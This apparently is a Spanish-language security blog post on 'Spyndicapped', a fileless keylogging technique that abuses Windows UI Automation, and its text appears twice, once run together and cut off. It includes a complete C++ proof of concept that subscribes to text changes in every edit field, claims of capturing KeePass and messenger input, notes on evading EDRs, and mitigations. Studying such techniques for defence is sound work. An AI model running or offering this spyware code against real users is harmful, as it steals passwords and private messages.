Spyndicapped: Abusando de COM para Keylogging Fileless en Windows

La técnica denominada Spyndicapped representa una evolución en las estrategias de keylogging, aprovechando componentes legítimos del sistema operativo Windows para espiar discretamente la actividad del usuario. En lugar de recurrir a métodos tradicionales como la inyección de código o la instalación de drivers, Spyndicapped utiliza el framework de accesibilidad Microsoft UI Automation (MS UIA) para capturar entradas del teclado sin dejar rastros evidentes en el sistema.MS UIA es un framework diseñado por Microsoft para permitir que aplicaciones de asistencia, como lectores de pantalla, interactúen con la interfaz gráfica de usuario (GUI) de Windows. A través de este framework, es posible acceder a elementos de la interfaz, leer sus propiedades y responder a eventos, todo mediante interfaces COM como IUIAutomation y IUIAutomationElement.Este framework expone una jerarquía de elementos conocida como Automation Tree, que refleja la estructura de la interfaz gráfica, desde el escritorio hasta los controles individuales dentro de las ventanas. Esta estructura permite a las aplicaciones automatizadas navegar y manipular la interfaz de manera programática.Cómo Funciona SpyndicappedLa técnica Spyndicapped explota las capacidades de MS UIA para monitorizar y capturar entradas del usuario sin necesidad de métodos invasivos. A continuación, se describen los pasos clave: Inicialización del Cliente UIA: Se crea una instancia de IUIAutomation utilizando CoCreateInstance, lo que permite interactuar con el Automation Tree. Navegación por el Automation Tree: Utilizando interfaces como IUIAutomationTreeWalker, se recorre la jerarquía de elementos para identificar controles de entrada de texto (Edit controls). Obtención de Valores de Controles: A través de patrones como ValuePattern o TextPattern, se accede al contenido actual de los campos de texto, permitiendo capturar lo que el usuario escribe. Suscripción a Eventos: Se implementan manejadores de eventos (IUIAutomationEventHandler) para responder a cambios en los elementos de la interfaz, como modificaciones en el texto o cambios de foco, lo que permite capturar entradas en tiempo real. Este enfoque permite al malware operar de manera sigilosa, sin necesidad de inyectar código en otros procesos o escribir archivos en disco, lo que dificulta su detección por soluciones de seguridad tradicionales.A continuación, se presenta un código en C++ que demuestra cómo utilizar MS UIA para capturar el texto de un campo de entrada:#include #include #include #include #pragma comment(lib, "uiautomationcore.lib") // Implementación personalizada del handler de eventos class TextChangedHandler : public IUIAutomationTextEditTextChangedEventHandler { LONG _refCount; public: TextChangedHandler() : _refCount(1) {} // IUnknown methods ULONG STDMETHODCALLTYPE AddRef() { return InterlockedIncrement(&_refCount); } ULONG STDMETHODCALLTYPE Release() { ULONG count = InterlockedDecrement(&_refCount); if (count == 0) delete this; return count; } HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid, void** ppInterface) { if (riid == __uuidof(IUnknown) || riid == __uuidof(IUIAutomationTextEditTextChangedEventHandler)) { *ppInterface = static_cast(this); AddRef(); return S_OK; } *ppInterface = nullptr; return E_NOINTERFACE; } // Evento: llamado cuando cambia el texto HRESULT STDMETHODCALLTYPE HandleTextEditTextChangedEvent( IUIAutomationElement* sender, TextEditChangeType /*changeType*/, SAFEARRAY* /*changedData*/) override { IUIAutomationValuePattern* pValue = nullptr; if (SUCCEEDED(sender->GetCurrentPatternAs(UIA_ValuePatternId, IID_PPV_ARGS(&pValue))) && pValue) { BSTR bstrValue; if (SUCCEEDED(pValue->get_CurrentValue(&bstrValue))) { _bstr_t text(bstrValue, false); std::wcout

May 12, 2025 - 00:29
 0
Spyndicapped: Abusando de COM para Keylogging Fileless en Windows

La técnica denominada Spyndicapped representa una evolución en las estrategias de keylogging, aprovechando componentes legítimos del sistema operativo Windows para espiar discretamente la actividad del usuario. En lugar de recurrir a métodos tradicionales como la inyección de código o la instalación de drivers, Spyndicapped utiliza el framework de accesibilidad Microsoft UI Automation (MS UIA) para capturar entradas del teclado sin dejar rastros evidentes en el sistema.

MS UIA es un framework diseñado por Microsoft para permitir que aplicaciones de asistencia, como lectores de pantalla, interactúen con la interfaz gráfica de usuario (GUI) de Windows. A través de este framework, es posible acceder a elementos de la interfaz, leer sus propiedades y responder a eventos, todo mediante interfaces COM como IUIAutomation y IUIAutomationElement.

Este framework expone una jerarquía de elementos conocida como Automation Tree, que refleja la estructura de la interfaz gráfica, desde el escritorio hasta los controles individuales dentro de las ventanas. Esta estructura permite a las aplicaciones automatizadas navegar y manipular la interfaz de manera programática.

Cómo Funciona Spyndicapped

La técnica Spyndicapped explota las capacidades de MS UIA para monitorizar y capturar entradas del usuario sin necesidad de métodos invasivos. A continuación, se describen los pasos clave:

  1. Inicialización del Cliente UIA: Se crea una instancia de IUIAutomation utilizando CoCreateInstance, lo que permite interactuar con el Automation Tree.

  2. Navegación por el Automation Tree: Utilizando interfaces como IUIAutomationTreeWalker, se recorre la jerarquía de elementos para identificar controles de entrada de texto (Edit controls).

  3. Obtención de Valores de Controles: A través de patrones como ValuePattern o TextPattern, se accede al contenido actual de los campos de texto, permitiendo capturar lo que el usuario escribe.

  4. Suscripción a Eventos: Se implementan manejadores de eventos (IUIAutomationEventHandler) para responder a cambios en los elementos de la interfaz, como modificaciones en el texto o cambios de foco, lo que permite capturar entradas en tiempo real.

Este enfoque permite al malware operar de manera sigilosa, sin necesidad de inyectar código en otros procesos o escribir archivos en disco, lo que dificulta su detección por soluciones de seguridad tradicionales.

A continuación, se presenta un código en C++ que demuestra cómo utilizar MS UIA para capturar el texto de un campo de entrada:

#include 
#include 
#include 
#include 

#pragma comment(lib, "uiautomationcore.lib")

// Implementación personalizada del handler de eventos
class TextChangedHandler : public IUIAutomationTextEditTextChangedEventHandler {
    LONG _refCount;

public:
    TextChangedHandler() : _refCount(1) {}

    // IUnknown methods
    ULONG STDMETHODCALLTYPE AddRef() {
        return InterlockedIncrement(&_refCount);
    }

    ULONG STDMETHODCALLTYPE Release() {
        ULONG count = InterlockedDecrement(&_refCount);
        if (count == 0) delete this;
        return count;
    }

    HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid, void** ppInterface) {
        if (riid == __uuidof(IUnknown) ||
            riid == __uuidof(IUIAutomationTextEditTextChangedEventHandler)) {
            *ppInterface = static_cast(this);
            AddRef();
            return S_OK;
        }
        *ppInterface = nullptr;
        return E_NOINTERFACE;
    }

    // Evento: llamado cuando cambia el texto
    HRESULT STDMETHODCALLTYPE HandleTextEditTextChangedEvent(
        IUIAutomationElement* sender,
        TextEditChangeType /*changeType*/,
        SAFEARRAY* /*changedData*/) override
    {
        IUIAutomationValuePattern* pValue = nullptr;
        if (SUCCEEDED(sender->GetCurrentPatternAs(UIA_ValuePatternId, IID_PPV_ARGS(&pValue))) && pValue) {
            BSTR bstrValue;
            if (SUCCEEDED(pValue->get_CurrentValue(&bstrValue))) {
                _bstr_t text(bstrValue, false);
                std::wcout << L"[Texto actualizado] " << text << std::endl;
            }
            pValue->Release();
        }
        return S_OK;
    }
};

int main() {
    HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
    if (FAILED(hr)) {
        std::cerr << "Error al inicializar COM." << std::endl;
        return 1;
    }

    IUIAutomation* pAutomation = nullptr;
    hr = CoCreateInstance(__uuidof(CUIAutomation), NULL, CLSCTX_INPROC_SERVER, IID_PPV_ARGS(&pAutomation));
    if (FAILED(hr)) {
        std::cerr << "Error al crear instancia de UIAutomation." << std::endl;
        CoUninitialize();
        return 1;
    }

    IUIAutomationElement* pRoot = nullptr;
    hr = pAutomation->GetRootElement(&pRoot);
    if (FAILED(hr)) {
        std::cerr << "Error al obtener el elemento raíz." << std::endl;
        pAutomation->Release();
        CoUninitialize();
        return 1;
    }

    // Crear condición para elementos tipo Edit
    IUIAutomationCondition* pEditCondition = nullptr;
    hr = pAutomation->CreatePropertyCondition(UIA_ControlTypePropertyId, _variant_t(UIA_EditControlTypeId), &pEditCondition);

    if (FAILED(hr)) {
        std::cerr << "Error creando condición." << std::endl;
        pRoot->Release();
        pAutomation->Release();
        CoUninitialize();
        return 1;
    }

    // Buscar todos los campos Edit
    IUIAutomationElementArray* pEdits = nullptr;
    hr = pRoot->FindAll(TreeScope_Subtree, pEditCondition, &pEdits);
    if (SUCCEEDED(hr) && pEdits) {
        int length = 0;
        pEdits->get_Length(&length);
        std::cout << "[+] Se encontraron " << length << " campos Edit. Subscribiendo a eventos..." << std::endl;

        TextChangedHandler* handler = new TextChangedHandler();

        for (int i = 0; i < length; ++i) {
            IUIAutomationElement* pEl = nullptr;
            if (SUCCEEDED(pEdits->GetElement(i, &pEl)) && pEl) {
                hr = pAutomation->AddTextEditTextChangedEventHandler(
                    pEl,
                    TreeScope_Element,
                    nullptr,  // cache request
                    handler
                );
                if (SUCCEEDED(hr)) {
                    std::wcout << L"    [✓] Subscrito a campo " << i << std::endl;
                }
                pEl->Release();
            }
        }

        // Loop principal: espera eventos (simula ejecución persistente)
        std::cout << "[*] Escuchando eventos. Pulsa Ctrl+C para salir." << std::endl;
        while (true) {
            Sleep(1000); // Idle wait
        }

        handler->Release();
        pEdits->Release();
    }

    pEditCondition->Release();
    pRoot->Release();
    pAutomation->Release();
    CoUninitialize();
    return 0;
}

Como veis es solo un ejemplo de código:

  • Se conecta a UIAutomation y busca todos los controles tipo Edit (campos de texto).
  • Se suscribe al evento TextEditTextChanged, que se dispara cuando el usuario modifica el contenido del campo.
  • Imprime en consola los cambios en tiempo real, sin necesidad de hooks de teclado ni privilegios elevados.

La técnica Spyndicapped ha demostrado ser efectiva para capturar información sensible en diversas aplicaciones, incluyendo Keepass, Telegram, Slack y Whatsapp web.

Spyndicapped presenta desafíos significativos para las soluciones de seguridad debido a su naturaleza sigilosa:

  • Operación Fileless: No requiere escribir archivos en disco, lo que evita la detección basada en firmas.

  • Uso de Componentes Legítimos: Se apoya en DLLs firmadas por Microsoft, como UIAutomationCore.dll.

  • Sin Necesidad de Privilegios Elevados: Puede ejecutarse con permisos de usuario estándar.

  • Evasión de EDRs: Las soluciones de detección y respuesta en endpoints (EDR) pueden no identificar esta actividad como maliciosa, ya que utiliza funcionalidades legítimas del sistema.

Mitigaciones y Recomendaciones

Para protegerse contra técnicas como Spyndicapped, se recomienda:

  • Monitorizar el uso de UIA: Implementar soluciones que detecten el uso inusual de interfaces de automatización de la interfaz de usuario.

  • Restringir el acceso a componentes de accesibilidad: Limitar el uso de herramientas de accesibilidad a usuarios y aplicaciones autorizadas.

  • Implementar políticas de seguridad: Utilizar AppLocker o Windows Defender Application Control (WDAC) para controlar la ejecución de aplicaciones no autorizadas.

  • Actualizar y parchear sistemas: Mantener el sistema operativo y las aplicaciones actualizadas para reducir las vulnerabilidades explotables.

Fuentes: